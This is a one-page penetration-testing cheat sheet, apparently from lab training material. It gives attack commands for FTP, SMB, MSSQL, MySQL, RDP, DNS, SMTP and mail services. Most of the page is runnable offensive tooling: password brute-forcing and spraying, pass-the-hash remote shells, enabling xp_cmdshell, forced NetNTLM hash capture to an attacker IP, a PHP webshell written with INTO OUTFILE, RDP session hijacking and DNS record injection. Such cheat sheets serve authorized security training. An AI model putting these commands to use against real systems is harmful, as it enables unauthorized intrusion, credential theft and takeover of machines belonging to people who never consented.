Every command for every service in one page. Prefix each with careful port-scan triage (don’t attack what you haven’t enumerated).

Methodology Checklist

  1. Port scan — full TCP + top UDP. nmap -p- -sV -sC then nmap -sU --top-ports 100.
  2. Banner + version — service, exact version, OS hint, plugin fingerprint.
  3. Default + anonymous auth — anonymous:anonymous, sa: (empty), root: (empty), guest:guest.
  4. Enumerate without creds — null SMB session, FTP listing, DNS zone transfer, SMTP VRFY/EXPN, MSSQL fingerprint.
  5. Spray with found creds — every creds set across every service.
  6. Pick the quickest shell — SMB PsExec > WinRM > WMI > MSSQL xp_cmdshell > RDP > FTP upload + HTTP.
  7. Loot — files, users, hashes, config.

Port → Service Quick Map

PortProtocolCommon service
21TCPFTP
22TCPSSH
23TCPTelnet
25, 465, 587TCPSMTP / SMTPS / submission
53TCP/UDPDNS
110, 995TCPPOP3 / POP3S
111TCP/UDPRPCbind (NFS)
135TCPMSRPC
139, 445TCPNetBIOS / SMB
143, 993TCPIMAP / IMAPS
161, 162UDPSNMP
389, 636TCPLDAP / LDAPS
1433, 1434TCP/UDPMSSQL
3306TCPMySQL
3389TCPRDP
5432TCPPostgreSQL
5985, 5986TCPWinRM HTTP/S

FTP (21)

nmap -p21 -sV -sC --script=ftp-anon,ftp-syst,ftp-vsftpd-backdoor <IP>
ftp <IP>                        # anonymous:anonymous
curl -s ftp://<IP>/ --user anonymous:
wget -m --no-passive ftp://anonymous:anonymous@<IP>
 
# Brute force
hydra -L users.txt -P rockyou.txt ftp://<IP>
netexec ftp <IP> -u users.txt -p pass.txt
 
# Bounce (via PORT command)
nmap -b anonymous:@<ftp-ip> <target>

SMB (139 / 445)

# Enumeration
nmap -p445 --script=smb-os-discovery,smb-enum-shares,smb-enum-users,smb-vuln-* <IP>
enum4linux-ng -A <IP>
rpcclient -U '' -N <IP>
smbclient -L //<IP>/ -N
smbmap -H <IP> -u '' -p ''
 
# Null / Guest
netexec smb <IP> -u '' -p ''
netexec smb <IP> -u guest -p ''
 
# Spider shares
netexec smb <IP> -u bob -p 'Pass!' -M spider_plus
 
# Admin RCE (Pwn3d!)
impacket-psexec admin@<IP> -hashes :<NThash>
impacket-wmiexec admin@<IP> -hashes :<NThash>
evil-winrm -i <IP> -u Administrator -H <NThash>
netexec smb <IP> -u Admin -p 'Pass!' -x whoami
 
# SMB signing check (determines if NTLM relay works)
netexec smb <subnet> --gen-relay-list targets.txt
nmap --script=smb2-security-mode -p445 <IP>

MSSQL (1433)

nmap -p1433 -sV -sC --script=ms-sql-info,ms-sql-empty-password,ms-sql-brute <IP>
netexec mssql <IP> -u sa -p ''
netexec mssql <IP> -u sa -p rockyou.txt
 
# Shell with sqsh / impacket-mssqlclient
impacket-mssqlclient sa@<IP> -windows-auth
 
# xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
 
# NetExec one-shot
netexec mssql <IP> -u sa -p '' -x 'whoami' --local-auth
 
# Capture hash via UNC path (relay or crack NetNTLMv2)
EXEC master..xp_dirtree '\\10.10.14.5\share\';
 
# Linked servers chain
EXEC ('sp_linkedservers') AT SQL02;
EXEC ('xp_cmdshell ''whoami''') AT SQL02;

MySQL (3306)

nmap -p3306 -sV -sC --script=mysql-info,mysql-empty-password,mysql-brute <IP>
mysql -h <IP> -u root -p
netexec mysql <IP> -u root -p rockyou.txt
 
# Read local files
SELECT LOAD_FILE('/etc/passwd');
 
# Write webshell (needs FILE priv + writable web root)
SELECT '<?php system($_GET[c]); ?>' INTO OUTFILE '/var/www/html/sh.php';
 
# UDF code exec (via raptor_udf2.so / lib_mysqludf_sys)

RDP (3389)

nmap -p3389 -sV --script=rdp-ntlm-info,rdp-enum-encryption <IP>
nxc rdp <IP> -u users.txt -p passwords.txt --continue-on-success
 
# Shell
xfreerdp /v:<IP> /u:Administrator /p:'Pass!' /dynamic-resolution /drive:share,/tmp
xfreerdp /v:<IP> /u:julio /pth:<NThash>   # requires Restricted Admin
 
# Session hijack (as SYSTEM, same host)
query user
tscon <session-id> /dest:<my-session>

DNS (53)

# Version + chaos record
dig @<IP> version.bind chaos txt
 
# Zone transfer
dig axfr @<IP> inlanefreight.com
dnsenum --enum --dnsserver <IP> inlanefreight.com
 
# Subdomain brute
dnsenum --threads 50 -f /usr/share/wordlists/dns.txt inlanefreight.com
dnsrecon -d inlanefreight.com -D names.txt -t brt
 
# Reverse (PTR) sweep
dnsrecon -r 10.10.10.0/24
 
# Dynamic update abuse (RFC 2136)
nsupdate <<EOF
server <IP>
zone inlanefreight.com
update add attacker.inlanefreight.com 60 A 10.10.14.5
send
EOF

SMTP (25 / 465 / 587)

# Enumerate
nmap -p25 -sV -sC --script=smtp-commands,smtp-enum-users,smtp-open-relay <IP>
 
# User enumeration via VRFY / EXPN / RCPT
smtp-user-enum -M VRFY -U users.txt -t <IP>
smtp-user-enum -M EXPN -U users.txt -t <IP>
smtp-user-enum -M RCPT -U users.txt -t <IP>
 
# Manual VRFY
nc <IP> 25
VRFY root
VRFY admin
 
# Brute force SMTP AUTH
hydra -L users.txt -P rockyou.txt smtp://<IP> -S -s 465
 
# Open relay test
swaks --to victim@target.com --from attacker@attacker.com --server <IP>

IMAP / POP3 (143 / 110 / 993 / 995)

nmap -p110,143 -sV -sC --script=imap-capabilities,pop3-capabilities <IP>
hydra -L users.txt -P rockyou.txt imap://<IP>
hydra -L users.txt -P rockyou.txt pop3://<IP>
 
# Manual
openssl s_client -connect <IP>:993     # IMAPS
A1 LOGIN user pass
A2 LIST "" "*"
A3 SELECT INBOX
A4 FETCH 1 BODY[]

Pivot Suggestions

FoundNext
Anonymous FTP with writeDrop webshell if colocated with HTTP server
SMB null sessionenum4linux → user list → spray
sa: empty on MSSQLxp_cmdshell → SYSTEM shell
DNS zone transferFull internal hostname map — recursively nmap each
SMTP user enum succeedsValidated userlist → OWA / SSH spray
RDP credstscon highjack other logged-on sessions
MSSQL + UNC captureNetNTLMv2 → relay or crack

Common Pitfalls

  • NetExec --local-auth for local accounts; drop it for domain creds.
  • MSSQL xp_cmdshell runs as the SQL service account — often not Admin. Check whoami /priv.
  • RDP PtH requires Restricted Admin Mode enabled on the target.
  • SMB signing enforced ≠ no attack — spraying/brute force still works, only NTLM relay is blocked.
  • Firewalls often allow 445 outbound but block inbound RDP — reverse tunnels are the answer (see Pivoting, Tunneling & Port Forwarding).